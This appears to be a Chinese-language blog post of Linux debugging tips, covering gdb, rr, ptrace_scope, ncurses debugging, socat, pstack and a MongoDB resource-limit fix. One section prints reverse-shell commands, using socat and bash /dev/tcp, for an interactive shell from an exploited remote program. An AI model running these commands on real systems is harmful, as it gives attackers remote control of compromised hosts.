之前寫過一篇《Debug Hacks》和調試技巧。
CFLAGS使用-g3
對於重度使用macro的程序很有用,可以在gdb裏使用info macro NAME、macro expand EXPR等命令了,print參數裏的macro也可以展開。
rr
參見http://rr-project.org/,調試時最痛苦的莫過於難於重現,rr可以把不確定的外部影響固定下來。它的初衷是用來調Firefox的,由此可見它的可用性……幻燈片http://rr-project.org/rr.html介紹了很多內部機理,值得一看。
gdb -p不可用:
ptrace: Operation not permitted.
gdb無法attach到用戶相同的另一個進程上。Arch
Linux、Ubuntu等很多發行版的內核默認設置了kernel.yama.ptrace_scope,參見https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE
capability的進程只能ptrace它的後裔進程(子、孫、玄孫、來孫、晜孫、仍孫、雲孫、耳孫等)。不特別在乎安全性的話,可以執行sudo sysctl kernel.yama.ptrace_scope=0。
收到SIGINT(或其他信號)後立刻用gdb調試自己
設想是fork產生一個新進程並停下來,原進程exec成gdb並attach調試新進程。注意:新進程應設置以創建新的進程組,不然gdb按數次continue後自身也會被stop,gdb所在終端將丟失前臺進程組。這裏我不太清楚gdb被stop的具體原因,但進程組經常作爲一個整體和信號、終端等概念相互關聯,可能是這方面的原因。
這裏SIGINT可以考慮換成SIGFPE、SIGSEGV等,以防止進程死亡,用gdb交互式檢視各個變量的值等以便於差錯。
https://gist.github.com/MaskRay/298e87e465f45988d37f:
1 |
|
調試使用終端特性的程序
對於ncurses這類使用終端特性的程序,在gdb下調試時,gdb交互的終端也會被程序使用,程序可能執行屏幕擦除、移動光標等操作,和gdb交互的輸出混雜在一起,產生干擾。解決方案是使用gdb的tty命令(文檔見info '(gdb) Input/Output')。下面以rlwrap rev爲例說明調試方法。
使用coreutils中的tty命令(並非gdb的tty命令)獲得當前終端的名稱,如/dev/pts/13,然後創建新shell會話,假設終端名是/dev/pts/14,將用作被調試程序的標準輸入、輸出、出錯。在這個新終端裏執行sleep 9999(如果不執行這條命令的話,/dev/pts/14的前臺進程組是shell,會搶奪終端輸入,而sleep不會讀取終端輸入,因此不會和被調試程序競爭)。
然後回到原來的shell會話(/dev/pts/13),用gdb調試程序:
1
2
3% gdb -tty /dev/pts/14 --args rlwrap rev
Reading symbols from rlwrap...(no debugging symbols found)...done.
(gdb) r
之後即可在/dev/pts/14和被調試程序交互了。或者用命令tty /dev/pts/14替代命令行選項-tty。
注意,此時被調試程序的標準輸入、輸出、出錯均爲/dev/pts/14,但沒有控制終端(controlling
terminal),並且能在/dev/pts/14看到gdb的警報:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace調試gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb嘗試把/dev/pts/14設爲被調試進程的控制進程,但失敗了。因爲/dev/pts/14是另外兩個進程的控制終端(shell和sleep 9999),無法搶奪(參看man tty_ioctl的TIOCSCTTY)。就我所知,與控制終端關聯僅影響前臺進程組的一些特性與信號遞送,不影響終端模式的變更,對於多數程序用不着特定終端成爲控制終端,只需有文件描述符指向終端即可,因此這個錯誤無關緊要。
參見http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php。
socat
把不同輸入輸出端對接的瑞士軍刀,是nc的進化型,支持非常多的網絡協議、文件等IO方式。
下面演示如何把一個程序的輸入和輸出分別接到監聽的某個socket的輸出和輸入上。
對弈的gnuchess
創建black.sh: 1
2#!/bin/zsh
{ echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'
用socat啓動TCP服務端:socat tcp-l:4444,reuseaddr exec:./black.sh。
創建white.sh: 1
2#!/bin/zsh
{ echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'
用socat啓動TCP客戶端:socat tcp:0:4444,reuseaddr exec:./white.sh。之後即可在/tmp/output看到兩個gnuchess進程的對局。執行gnuchess,輸入depth 0後可以限制它的搜索深度(加快運行速度),輸入go可以讓它走一步。
寫到此處,忽然想到之前NOI 2010團體對抗賽時,不瞭解這些東西的用法,浪費了很大工夫。
輸入輸出到終端的reverse shell
通常用system("sh")等方式搞的shell都不是interactive
shell,沒有提示符,也無法用readline的快捷鍵,不方便。下面介紹產生interactive
shell的方法:
本地監聽9999端口,等遠端被pwn的程序連接: 1
2socat stdio,raw,echo=0 tcp-l:9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw
遠端執行: 1
socat tcp:0:9999 exec:'bash -i',pty,stderr # 0應填之前監聽9999端口的機器的IP
當然遠端很可能沒有socat,可以用util-linux包中的script:
1
script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&1 # 使用了bash創建socket的功能
pstack
打印指定進程的系統棧。
本質是一段腳本,核心是下面這句話: 1
2#!/bin/zsh
gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p'
你應該把它保存到你的工具集裏。新的gdb支持對單線程進程使用thread apply all bt了。
1 | % pstack $$ |
安裝新的gdb
gdb和gcc有一定的版本適配性,有些惡劣的工作環境需要自己編譯安裝gdb,下面只是我折騰C++ STL查看器的註記。
1 | ./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python |
~/.gdbinit裏添加:
1 | python |
沒有源碼的環境調試
用sshfs或其他文件共享手段從其他機器上掛載源碼目錄,使用directory命令設置源碼查找目錄。另外還有set substitute-path,參見info '(gdb) Source Path'。
MongoDB resource limits動態設置調試記
MongoDB使用mmap映射數據文件及分配內存,把內存管理的任務交給操作系統,造成內存使用量無法控制。我誤以爲resource
limits中的RLIMIT_AS可以限制虛擬內存使用,
就在啓動mongod前執行ulimit -v $[512*1024],效果是之後所有在shell裏啓動的新進程的虛擬內存都不能超過512MiB。
在測試寫入性能時,發現過了很長時間也沒有把所有測試數據插入成功。後查看日誌發現這些記錄:
1
22015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build)
2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in log for more information)
大概每5秒鍾會產生一段錯誤記錄,估計和mmap有關。使用strace查看mongod及其所有子進程(包括當前和未來創建的)的mmap系統調用:strace -fe mmap -p $(pgrep -n mongod),產生大量重複的輸出:
1
2[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)
即以兩個mmap爲單元,不斷輸出這兩行,注意到mmap(2)參數中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜測這兩個mmap都和數據文件(test.0、test.1等)有關。後來再用pmap -p $(pgrep -n mongod)列示已映射的地址空間,發現與0x7f2e58716000(第一次執行的mmap的返回值)地址相近的都是些數據文件,印證了猜測。後來看/proc下該進程的相關信息,發現/proc/$(pgrep -n mongod)/limits列示的Max
address
space不正常,終於想到是先前ulimit -v限制了地址空間大小,導致了這個問題。之後有兩個解決辦法,一是關閉mongod,修改resource
limits後重啓,二是動態修改resource
limits。爲了好玩,自然選第二個。先要找出RLIMIT_AS的數值:ag RLIMIT_AS /usr/include/bits,發現是9,之後用gdb
attach到mongod上修改resource limits:
1 | $ gdb -p $(pgrep -n mongod) |
成功修改了resource
limits!之後日誌中果然出現了數據文件新建成功的信息,不再有mmap的錯誤了。